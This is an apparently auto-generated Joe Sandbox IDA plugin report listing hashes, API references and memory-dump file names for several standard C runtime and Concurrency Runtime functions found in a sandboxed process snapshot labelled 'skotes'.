Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 0f430200699761e8fa0c97b46937a4c83ee5220d7d3262046e0c4cdc37b95794
Instruction ID: 470111e9197871f8d135ca56ad77b5c8b3af16c451adbd532d2160ff029f26f6
Opcode Fuzzy Hash: 0f430200699761e8fa0c97b46937a4c83ee5220d7d3262046e0c4cdc37b95794
Instruction Fuzzy Hash: 64313A79A00309DFCF14DF94C4C0BAE7BF9BB55312F1404AADD11AB246D770AA89DBA4

Function 00C613F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00C613FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00C61447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00C6147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00C6152A

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 5a00f042497a1faa78203b6ca78362a8992d0c8983b704413a82a148cf5dea5d
Instruction ID: 28d84d35871ae5f67a040c325357e31e93fc1d29038822eece5e33d504c98ae6
Opcode Fuzzy Hash: 5a00f042497a1faa78203b6ca78362a8992d0c8983b704413a82a148cf5dea5d
Instruction Fuzzy Hash: 09319375A006059FCF14EFA8C4915EDF7B1BF88711B18822DE826A7391CB349A45DB94

Function 00C4BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00C4BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00C4BBE4
_xtime_get.LIBCPMT ref: 00C4BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00C4BC13

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 54421ac5d75aa511dc877be8c5f1f5601808f7c6c710e426f121078ccc984f31
Instruction ID: 1255347692b5911793fac168122c83de50dac253fce7002534e07ccd3dd69b01
Opcode Fuzzy Hash: 54421ac5d75aa511dc877be8c5f1f5601808f7c6c710e426f121078ccc984f31
Instruction Fuzzy Hash: BF213B71A01119AFDF40EBA4D8C1ABEBBB9FF08710F114429F901A7261DB34AE059BA0

Function 00C59C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00C59C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00C59CE8
std::bad_exception::bad_exception.LIBCMT ref: 00C59CFE
std::bad_exception::bad_exception.LIBCMT ref: 00C59D6A

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: d9e0f219f921223923f8d3fd39757dfab9a68fd1b09c425ca9f006cfc3d34e1a
Instruction ID: aef1c511e6054396f27240df8ca5fc106e8c275cfe66848fd5f4eb29c253ffd7
Opcode Fuzzy Hash: d9e0f219f921223923f8d3fd39757dfab9a68fd1b09c425ca9f006cfc3d34e1a
Instruction Fuzzy Hash: 99210A79900204DFCB04FF64D482DADB7F0FF04315B2440A9F801AB262DB716E8ADB59

Function 00C5A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00C5A069

Part of subcall function 00C5B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00C5B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00C5A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00C5A0CB

Part of subcall function 00C5AB41: List.LIBCONCRT ref: 00C5AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00C5A0DB

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 0f6d216dee6f6df6c0b05f31ed59d7fd22e714e51b13eabaf4a62e39fb0d4b9c
Instruction ID: 766436dc507434398b2187d28ecafe406719be058bc3ce21b40876f4cb76a257
Opcode Fuzzy Hash: 0f6d216dee6f6df6c0b05f31ed59d7fd22e714e51b13eabaf4a62e39fb0d4b9c
Instruction Fuzzy Hash: D321B0355006149FCB24EF66C8908ABF3F5FF48300700465EE843A7661DB34F949DB96

Function 00C54885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00C54893
ListArray.LIBCONCRT ref: 00C548A5

Part of subcall function 00C55555: _InternalDeleteHelper.LIBCONCRT ref: 00C55564

ListArray.LIBCONCRT ref: 00C548AF
_InternalDeleteHelper.LIBCONCRT ref: 00C548C8

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
